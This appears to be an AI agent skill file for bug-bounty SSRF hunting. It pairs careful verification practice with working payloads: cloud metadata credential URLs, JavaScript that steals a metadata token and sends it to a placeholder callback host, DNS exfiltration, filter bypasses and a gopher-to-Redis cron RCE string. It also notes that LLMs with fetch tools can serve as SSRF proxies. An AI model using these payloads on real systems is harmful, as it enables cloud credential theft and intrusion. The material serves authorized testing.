{"id":"hunt-ssrf","name":"hunt-ssrf","summary":"SSRFの弱点を探す狩猟スキル。","body":"## Crown Jewel Targets\n\nSSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:\n\n- **Cloud-hosted SaaS products** (GCP metadata at `169.254.169.254` or `metadata.google.internal`, AWS IMDSv1)\n- **Kubernetes/orchestration platforms** — aggregated API servers, metrics-server, kubelet endpoints expose privileged cluster operations\n- **Internal developer tooling** — CI/CD, workflow orchestration (Flyte, Argo), admin panels not exposed externally\n- **Link preview / URL fetching features** — Reddit-style preview APIs, Slack-style unfurling, media processors\n- **Dataset/file import pipelines** — anything that fetches remote URLs on behalf of a user\n- **Enterprise self-hosted software** (GitHub Enterprise, GitLab) — SSRF frequently chains to RCE via internal services\n\nPayouts are highest when SSRF reaches: cloud credentials → account takeover, internal admin APIs → data exfil, or chains to RCE.\n\n---\n\n## OOB-Or-It-Didn't-Happen Gate (Read First)\n\n**Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.**\n\nOOB means: a Burp Collaborator domain, an `interactsh-client` listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.\n\n### What is NOT confirmation of SSRF\n\n- The server **echoing your URL back in an error message**. Example: `\"The Web application at http://evil.example.com/x could not be found\"` — this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure.\n- The server returning a different status code for an external URL vs `localhost`. Different error responses can come from URL-scheme validators, not from actual fetching.\n- A delayed response when the URL is sent. Delay can come from DNS resolution attempts within the parser, not from completed HTTP fetches.\n\n### What IS confirmation of SSRF\n\n- A DNS lookup for your unique Collaborator subdomain appears in the OOB listener.\n- An HTTP request to your Collaborator HTTP endpoint with the server's source IP and User-Agent.\n- For SSRF in JavaScript-execution contexts (PDF renderers, headless browsers), a fetch from the server to your callback URL.\n\n### Default workflow\n\n1. **Plant the Collaborator payload first.** Sub-tagging (`dlsrcurl.<collab>`,\n   `import.<collab>`) only works if your listener actually reports the queried\n   subdomain back to you — **verify that before relying on it.** Burp's\n   `get_collaborator_interactions` keys results by **payload ID, not by subdomain**,\n   so several sub-tags generated from one payload are indistinguishable in the\n   output. When that is the case, **generate a fresh payload per candidate\n   parameter** and send exactly one request per payload.\n2. **Send the request** to the target endpoint.\n3. **Wait 30–120 seconds**, then poll the OOB listener.\n4. **Only after a confirmed callback** do you claim SSRF.\n5. If zero callbacks across all sub-tagged sinks: SSRF claims must be retracted, even if error messages echo URLs.\n\n**Lesson from a authorized engagement:** SharePoint's `/_layouts/15/download.aspx?SourceUrl=` returned 500 with the title `\"The Web application at <attacker-URL> could not be found\"`. Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded **zero DNS or HTTP interactions**. The \"echo\" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal `SPFile`/`SPWebApplication` resolver, not a generic URL fetcher. Reporting this as SSRF would have been N/A'd at triage.\n\n### Attribute the callback to ONE parameter before reporting\n\nA callback proves the server made a request. It does **not** tell you which\nparameter caused it, and the fix depends entirely on that.\n\n```\nBAD   — four candidate fields, one payload, fired in one batch\n        -> callbacks arrive, attribution impossible, retest required\n\nGOOD  — fresh payload per field, one request each, poll between\n        url      -> callbacks    <- this is the sink\n        apiUrl   -> none\n        endpoint -> none\n        target   -> none\n```\n\n**Run the negative control.** A parameter that produces *no* callback is evidence,\nand it belongs in the report — it is what lets the client fix the right field\ninstead of allowlisting the wrong one.\n\n**Lesson from an authorized engagement.** A server-side request-forwarding endpoint\naccepted both `url` and `apiUrl`. The application's own stored config used `apiUrl`,\nso that was the obvious suspect — but `apiUrl` was inert and **`url` was the live\nsink**.\nBatch-firing both had produced callbacks with no attribution; only per-payload\nisolation identified the real parameter. A report naming `apiUrl` would have sent\nthe client to patch a field that does nothing.\n\n### Blind vs full-read — establish which before scoring\n\nAfter a callback confirms the request leaves the server, **check whether the\nupstream response body is returned to you.** These are different findings:\n\n- **Blind** (callback only, no body): on the never-submit list standalone. Needs an\n  internal service reached, or data returned, to be reportable.\n- **Full-read** (upstream body in the response): substantially higher severity —\n  read arbitrary internal endpoints directly.\n\n```bash\n# one request settles it: fetch something with a known, recognisable body\n-d '{\"url\":\"https://example.com/\"}'\n# {\"statusCode\":200,\"data\":\"<!doctype html>...<title>Example Domain</title>...\"}\n#                          ^ body returned = full-read, not blind\n```\n\nAlso body-diff a known-internal target against a known-external one. A **distinct\nstatus** on a link-local address (e.g. `401` from `169.254.169.254` where every\nother target returns `200`) is the metadata service answering — that proves reach\nto a non-internet-routable address, which a status code alone otherwise cannot.\n\n\n---\n\n## Attack Surface Signals\n\n### URL Patterns to Hunt\n```\n/api/*/preview\n/api/*/fetch\n/api/*/import\n/api/*/webhook\n/api/*/proxy\n/api/*/render\n/api/*/link\n/api/*/screenshot\n/api/*/export\n/api/*/validate\n?url=\n?uri=\n?endpoint=\n?redirect=\n?src=\n?source=\n?feed=\n?host=\n?target=\n?dest=\n?file=\n?path=\n?callback=\n?image=\n?load=\n?fetch=\n```\n\n### JS Patterns (in client-side code)\n```javascript\n// Look for these in JS bundles\nfetch(userInput)\naxios.get(params.url)\nXMLHttpRequest + variable URL\nurl: req.body.url\nsrc: params.source\nhref: query.endpoint\n```\n\n### Response Header Signals\n```\nX-Forwarded-For headers echoed back\nServer: internal-service\nVia: 1.1 internal-proxy\nX-Cache headers revealing internal hostnames\n```\n\n### Tech Stack Signals\n- **Kubernetes** — any public-facing aggregated API, metrics endpoints\n- **GCP** — any service fetching URLs that runs on Compute Engine/GKE\n- **Node.js/Python** with URL-fetching libraries (`requests`, `node-fetch`, `axios`)\n- **Headless browsers** (Puppeteer, PhantomJS) used for screenshots/PDF — extremely high value\n- **XML/DSPL/CSV import features** — XXE-style SSRF vector\n- **OAuth/webhook registration** endpoints\n\n---\n\n## Step-by-Step Hunting Methodology\n\n1. **Map all URL-input parameters** across the target: spider JS files for fetch calls, check all API docs, look for file-import, link-preview, webhook, image-proxy, and redirect features.\n\n2. **Set up an out-of-band detection server** using Burp Collaborator, interactsh, or `https://canarytokens.org` — you need a unique per-test DNS/HTTP callback domain.\n\n3. **Send your callback URL as the parameter value first** (blind SSRF check before anything else):\n   ```\n   url=https://YOUR.interactsh.com/test\n   ```\n   Confirm the server makes an outbound connection. This proves execution before attempting internal targets.\n\n4. **Test internal cloud metadata endpoints**:\n   - GCP: `http://metadata.google.internal/computeMetadata/v1/`\n   - AWS: `http://169.254.169.254/latest/meta-data/`\n   - Azure: `http://169.254.169.254/metadata/instance`\n\n5. **Test localhost and common internal ports**:\n   ```\n   http://localhost/\n   http://127.0.0.1:8080/\n   http://127.0.0.1:6443/  (Kubernetes API)\n   http://127.0.0.1:2379/  (etcd)\n   http://127.0.0.1:9090/  (Prometheus)\n   http://127.0.0.1:9200/  (Elasticsearch)\n   ```\n\n6. **Check for redirect-based SSRF** — if the endpoint validates the initial URL but follows 30x redirects, host a redirect server pointing to internal addresses. Kubernetes report (Report 3) was specifically triggered by hijacked API servers returning 30x responses.\n\n7. **Test JavaScript-execution contexts** (headless browsers, PDF renderers):\n   - Inject `<script>` tags that make `XMLHttpRequest` or `fetch()` calls to internal services\n   - Exfil via DNS: encode response data in subdomain of your callback domain\n\n8. **Enumerate the internal network** using timing differences and error message variations:\n   - Port scan via response time (`connection refused` vs timeout)\n   - Check error messages for hostname/IP leakage\n\n9. **Chain findings** — if you have SSRF to internal services, look for:\n   - Unauthenticated admin endpoints\n   - Redis, memcached (protocol smuggling)\n   - Internal OAuth token endpoints\n   - SSRF → CSRF → RCE (GitHub Enterprise pattern)\n\n10. **Document the full chain** with screenshots of each hop before reporting.\n\n---\n\n## Payload & Detection Patterns\n\n### Basic Out-of-Band Detection\n```bash\n# Using interactsh-client\ninteractsh-client -v\n\n# Test parameter\ncurl -s \"https://target.com/api/preview?url=https://YOUR_ID.oast.pro\"\n\n# With common headers that might unlock SSRF\ncurl -s \"https://target.com/api/fetch\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"https://YOUR_ID.oast.pro\"}'\n```\n\n### Cloud Metadata Payloads\n```bash\n# GCP - requires Metadata-Flavor header (test if server adds it automatically)\nhttp://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\nhttp://169.254.169.254/computeMetadata/v1/project/project-id\nhttp://metadata/computeMetadata/v1/\nhttp://169.254.169.254/computeMetadata/v1/\n\n# AWS IMDSv1 (no auth required)\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\nhttp://169.254.169.254/latest/user-data\n# AWS ECS task credentials (retrieve from env var AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)\nhttp://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}\n\n# Azure - instance metadata and managed identity token\nhttp://169.254.169.254/metadata/instance?api-version=2021-02-01\nhttp://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/\n# Requires Metadata: true header for Azure requests\n\n# Kubernetes service account credentials (file:// SSRF)\nfile:///var/run/secrets/kubernetes.io/serviceaccount/token\nfile:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt\n```\n\n### Localhost/Internal Port Payloads\n```bash\n# Kubernetes internals\nhttp://127.0.0.1:6443/api/v1/namespaces\nhttp://10.0.0.1:6443/api/v1/secrets\nhttp://127.0.0.1:10250/pods          # kubelet\nhttp://127.0.0.1:2379/v2/keys        # etcd\n\n# Common internal services\nhttp://127.0.0.1:6379/               # Redis (check for inline commands)\nhttp://127.0.0.1:9200/_cat/indices   # Elasticsearch\nhttp://127.0.0.1:5601/               # Kibana\nhttp://127.0.0.1:8500/v1/catalog/services  # Consul\n```\n\n### Redirect-Based SSRF (when direct is blocked)\n```python\n# Simple Python redirect server\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass Redirect(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(301)\n        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')\n        self.end_headers()\n\nHTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()\n```\n\n### JavaScript-Based SSRF (headless browser contexts)\n```javascript\n// Exfil via fetch\nfetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {\n  headers: {'Metadata-Flavor': 'Google'}\n}).then(r=>r.text()).then(d=>{\n  fetch('https://YOUR.callback.com/?d='+btoa(d))\n})\n\n// DNS exfil for blind contexts\nvar x = new XMLHttpRequest();\nx.open('GET','http://169.254.169.254/latest/meta-data/');\nx.send();\nx.onload = function(){\n  var img = new Image();\n  img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com';\n}\n```\n\n### Grep Patterns for Source Code Review\n```bash\n# Find URL fetch operations\ngrep -rE \"(fetch|curl|urllib|requests\\.get|http\\.get|axios\\.get)\\s*\\(\" --include=\"*.py\" --include=\"*.js\" --include=\"*.go\"\n\n# Find URL parameters being passed to HTTP clients\ngrep -rE \"(url|uri|endpoint|redirect|src|source)\\s*=\\s*req\\.(query|body|params)\" --include=\"*.js\"\n\n# Find redirect following\ngrep -rE \"(follow_redirects|allow_redirects|followRedirects)\\s*=\\s*[Tt]rue\"\n```\n\n### ffuf Parameter Discovery\n```bash\nffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \\\n  -u \"https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com\" \\\n  -fs 0 -mc all\n```\n\n---\n\n## Common Root Causes\n\n1. **\"The user said it was safe\"** — Developers trust user-supplied URLs for fetching remote resources (link previews, thumbnails, webhooks) without validating the destination. The feature is legitimate; the missing validation is the bug.\n\n2. **Allowlist bypass via redirects** — Developers validate the initial URL against an allowlist but configure HTTP clients to follow redirects automatically. An attacker's server on the allowlist redirects to an internal address.\n\n3. **Aggregated/proxy API trust** — Kubernetes-style architectures where an API aggregation layer blindly proxies 30x responses from registered extension servers. Compromising a single extension server gives SSRF into the core API.\n\n4. **Server-side rendering without sandboxing** — Headless browser features (PDF generation, link preview screenshots) execute attacker-controlled JavaScript in a network-privileged context with access to metadata services.\n\n5. **XML/DSPL/file parsers fetching external entities** — Import features that parse structured files (XML, DSPL, CSV with remote schemas) fetch attacker-controlled URLs, often with no URL validation at all.\n\n6. **Internal hostname leakage via response differences** — Services return different error messages, timing, or response sizes for internal vs. external hosts, enabling blind enumeration even when content isn't returned.\n\n7. **IMDSv1 still enabled** — Cloud deployments that haven't migrated to IMDSv2 (AWS) or haven't required the `Metadata-Flavor` header (GCP) allow unauthenticated credential access from any SSRF.\n\n---\n\n## Bypass Techniques\n\n### Blocklist Bypasses (When `localhost`, `127.0.0.1`, `169.254.x.x` are blocked)\n\n```\n# IPv6 equivalents\nhttp://[::1]/\nhttp://[::ffff:127.0.0.1]/\nhttp://[::ffff:169.254.169.254]/\n\n# Decimal/octal/hex encoding of IP\nhttp://2130706433/          (127.0.0.1 decimal)\nhttp://0x7f000001/          (127.0.0.1 hex)\nhttp://0177.0.0.1/          (octal)\nhttp://127.1/               (short form)\nhttp://0/                   (resolves to 0.0.0.0)\n\n# DNS rebinding - register a domain that resolves to internal IP after first check\n# Use https://lock.cmpxchg8b.com/rebinder.html\n\n# Subdomain pointing to internal IP\nhttp://localtest.me/         (resolves to 127.0.0.1)\nhttp://127.0.0.1.nip.io/\nhttp://customer.attacker.com/ (A record → 192.168.1.1)\n\n# URL parser confusion\nhttp://evil.com@127.0.0.1/\nhttp://127.0.0.1#evil.com\nhttp://127.0.0.1%25@evil.com  (URL encoding)\nhttp://evil.com\\.127.0.0.1/   (backslash)\n\n# Protocol confusion\nfile:///etc/passwd\ndict://127.0.0.1:6379/\ngopher://127.0.0.1:6379/_FLUSHALL  (Redis via gopher)\nsftp://attacker.com:11111/\nldap://127.0.0.1/\n\n# Redirect chain bypass\nhttps://allowlisted-domain.com → HTTP 301 → http://169.254.169.254/\n\n# Case variation / URL encoding\nhttp://Localhost/\nhttp://127.0.0.1%2F@evil.com/\n```\n\n### Schema/Protocol Bypasses\n```\n# When only http/https allowed but implementation is loose\nhttp://169.254.169.254:80@evil.com/\n//169.254.169.254/\n```\n\n### TOCTOU (Time-of-Check vs Time-of-Use)\n- Validate URL → sleep → redirect to internal (race condition with DNS rebinding)\n- Register a domain with 0-TTL, rotate DNS between validation and fetch calls\n\n### When Response is Not Returned (Blind SSRF)\n- Use DNS-only callbacks (data encoded in subdomain labels)\n- Use timing differences for port scanning\n- Use different HTTP methods (PUT/DELETE) to trigger distinct behaviors on internal services\n- Chain with other bugs that leak response data (e.g., error messages, logs)\n\n---\n\n## Gate 0 Validation\n\nBefore writing the report, confirm all three:\n\n1. **What can the attacker DO right now?**\n   - Can you retrieve a response proving internal network access? (Show the metadata token, internal API response, or confirmed DNS callback)\n   - If blind: can you demonstrate port differentiation or confirmed OOB callback tied to a specific internal address?\n   - \"The server makes a request\" alone is insufficient — show *where* it goes and *what comes back*.\n\n2. **What does the victim LOSE?**\n   - Cloud credentials (IAM tokens) → full cloud account compromise?\n   - Internal service data (user PII, secrets, API keys)?\n   - Ability to pivot to RCE via internal admin service?\n   - If the answer is only \"the server fetches my URL,\" severity is low — quantify the actual reachable blast radius.\n\n3. **Can it be reproduced in 10 minutes from scratch?**\n   - Is the vulnerable endpoint still live and the parameter still present?\n   - Does your callback server show the hit reliably (not intermittently)?\n   - Can a second person follow your steps without prior knowledge and get the same result?\n   - If reproduction requires specific timing, tokens, or luck — resolve the flakiness before submitting.\n\n---\n\n## Real Impact Examples\n\n### Scenario A: Cloud Credential Exfiltration via Link Preview (Snapchat/GCP Pattern)\nA public-facing \"link preview\" API accepted a `url` parameter and fetched the target server-side to generate thumbnail content. The feature ran on GCP Compute Engine with IMDSv1 enabled and no `Metadata-Flavor` header enforcement on the server side. By supplying `url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token`, the attacker received a valid OAuth2 access token for the instance's service account. The token granted access to internal GCP project resources including storage buckets containing user data. The attacker used JavaScript execution within a headless rendering context to exfiltrate the token via DNS-encoded subdomains, bypassing response body restrictions.\n\n### Scenario B: Kubernetes API Compromise via Hijacked Aggregated Server (Kubernetes Pattern)\nAn attacker who could register a Kubernetes API extension server (metrics-server equivalent) returned `302 Location: http://127.0.0.1:6443/api/v1/secrets` responses to the aggregation layer. Because the aggregation proxy followed redirects automatically without re-validating the destination against the internal network blocklist, the redirect caused the aggregation layer itself (running with elevated cluster credentials) to fetch internal Kubernetes API secrets and return them in the response. This effectively allowed an attacker with limited API registration privileges to escalate to full cluster secret read access — a critical privilege escalation via SSRF chained through trusted infrastructure components.\n\n---\n\n## Disclosed Report Citations (Backfill +6 — 2018-2024)\n\nThe following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Cloud-metadata SSRFs across all three providers, DNS rebinding, gopher-to-Redis-RCE, link-preview SSRF, and headless-browser/PDF-generator chains are all represented.\n\n3. **HackerOne — SSRF in Analytics Reports (PDF generator → AWS metadata)** ([H1 #2262382](https://hackerone.com/reports/2262382) · [Writeup](https://osintteam.blog/25-000-ssrf-in-hackerones-analytics-reports-b9a5b3aa3d6e))\n    - Subclass: headless-browser SSRF (PDF generator) → AWS metadata SSRF (IMDSv1)\n    - Payload: injected `<iframe src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\">` into a template element rendered server-side; backend Ruby loop rendered the untrusted template HTML into PDF, reflecting IMDS response inside the rendered PDF / error message\n    - Root cause: unsanitised user-controlled template fragment reflected in PDF rendering pipeline; no IMDSv2 enforcement\n    - Year: 2023 — **$25,000** (CVSS 10.0 Critical)\n\n4. **Shopify Exchange — SSRF in screenshot service → GCP metadata → container root** ([H1 #341876](https://hackerone.com/reports/341876))\n    - Subclass: GCP metadata SSRF → SSRF-to-RCE chain\n    - Payload: created store on partners.shopify.com, edited `password.liquid` template to embed a request to `http://metadata.google.internal/computeMetadata/v1/` with `Metadata-Flavor: Google`, then triggered the Exchange screenshotting service to render the template server-side\n    - Root cause: screenshotter fetched user-controlled template with no metadata-host blocklist and no metadata-concealment proxy\n    - Year: 2018 — **$25,000** (canonical headless-browser → metadata)\n\n5. **Concrete CMS — SSRF mitigation bypass via DNS rebinding → AWS IAM keys** ([H1 #1369312](https://hackerone.com/reports/1369312))\n    - Subclass: DNS rebinding SSRF → AWS metadata SSRF (IMDSv1)\n    - Payload: file-upload-from-URL feature; attacker DNS server alternated `A` records between `1.2.3.4` (public) and `169.254.169.254`; needed 2-3 requests to win the race between validation and fetch; final request retrieved IAM role credentials\n    - Root cause: validated hostname by resolving once; download path re-resolved DNS without pinning the validated IP\n    - Year: 2021 — fixed in 8.5.7 / 9.0.1\n\n6. **Yahoo Mail — Blind SSRF → Gopher → Redis RCE** ([Writeup](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530))\n    - Subclass: gopher protocol abuse → Redis SSRF → SSRF-to-RCE chain\n    - Payload: blind SSRF in Yahoo Mail backend reached via `gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVE` — wrote a cron via Redis to get command execution\n    - Root cause: gopher scheme not blocklisted; internal Redis unauthenticated on default port; SSRF target accepted 302 redirect from attacker host to `gopher://`\n    - Year: 2020 — **$15,000**\n\n7. **Reddit Matrix — Blind SSRF in `preview_url` API** ([H1 #1960765](https://hackerone.com/reports/1960765))\n    - Subclass: link-preview SSRF (blind, internal port-scan via timing/response codes)\n    - Payload: `GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/` — varied internal IPs/ports; service names and IPs leaked through response differences before the fix\n    - Root cause: link-preview fetcher did not reject RFC1918 / link-local destinations; allowlist-by-scheme only\n    - Year: 2023 — **$6,000**\n\n8. **Azure DevOps — SSRF in Service Hooks + DNS rebinding bypass in endpointproxy** ([Binary Security writeup](https://www.binarysecurity.no/posts/2025/01/finding-ssrfs-in-devops))\n    - Subclass: webhook URL field SSRF + DNS rebinding SSRF → Azure IMDS / managed identity\n    - Payload: configured service-hook webhook URL or `endpointproxy` URL parameter to attacker rebinding host; second resolution returned `169.254.169.254`; chained CRLF injection to set required `Metadata: true` header for Azure IMDS\n    - Root cause: validation-then-fetch with separate DNS lookups; CRLF in URL path injected headers needed by Azure IMDS\n    - Year: 2023-2024 — **$15,000 total** across 3 reports\n\n---\n\n## Related Skills & Chains\n\n- **`cloud-iam-deep`** — SSRF is the canonical entry to cloud metadata service. Chain primitive: SSRF → IMDSv1 token theft → `cloud-iam-deep` privilege escalation reaches `iam:CreateUser` / `sts:AssumeRole` on cross-account roles.\n- **`hunt-llm-ai`** — LLMs with fetch_url tools become SSRF proxies bypassing network egress controls. Chain primitive: LLM tool-use (fetch_url) + SSRF → attacker URL exfils chat history and IMDS token from the LLM container.\n- **`hunt-rce`** — Internal Redis/Memcached are unauthenticated by default and reachable via gopher://. Chain primitive: SSRF + Gopher → internal Redis `CONFIG SET dir` + RCE via cron / SSH authorized_keys write.\n- **`hunt-cloud-misconfig`** — Internal-only buckets/APIs become reachable through SSRF egress. Chain primitive: SSRF + DNS rebinding → SSRF-protected-endpoint bypass → internal /admin or private S3 bucket read.\n- **`security-arsenal`** — Load the SSRF IP Bypass Table (11 techniques: decimal IP, IPv6 mapped, octal, suffix dot, DNS rebinding, redirect chain, etc.) before testing filters.\n- **`triage-validation`** — Apply the OOB-Or-It-Didn't-Happen gate: every blind SSRF claim requires a Burp Collaborator hit with a unique marker before report submission.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-ssrf","license":"MIT","category":"document","lang":"en","tokens":6324,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["127.0.0.1.nip.io","allowlisted-domain.com","canarytokens.org","customer.attacker.com","evil.com","evil.example.com","hackerone.com","localtest.me","lock.cmpxchg8b.com","management.azure.com","matrix.redditspace.com","metadata.google.internal","osintteam.blog","sirleeroyjenkins.medium.com","target.com","www.binarysecurity.no","your.callback.com","your.interactsh.com"]}}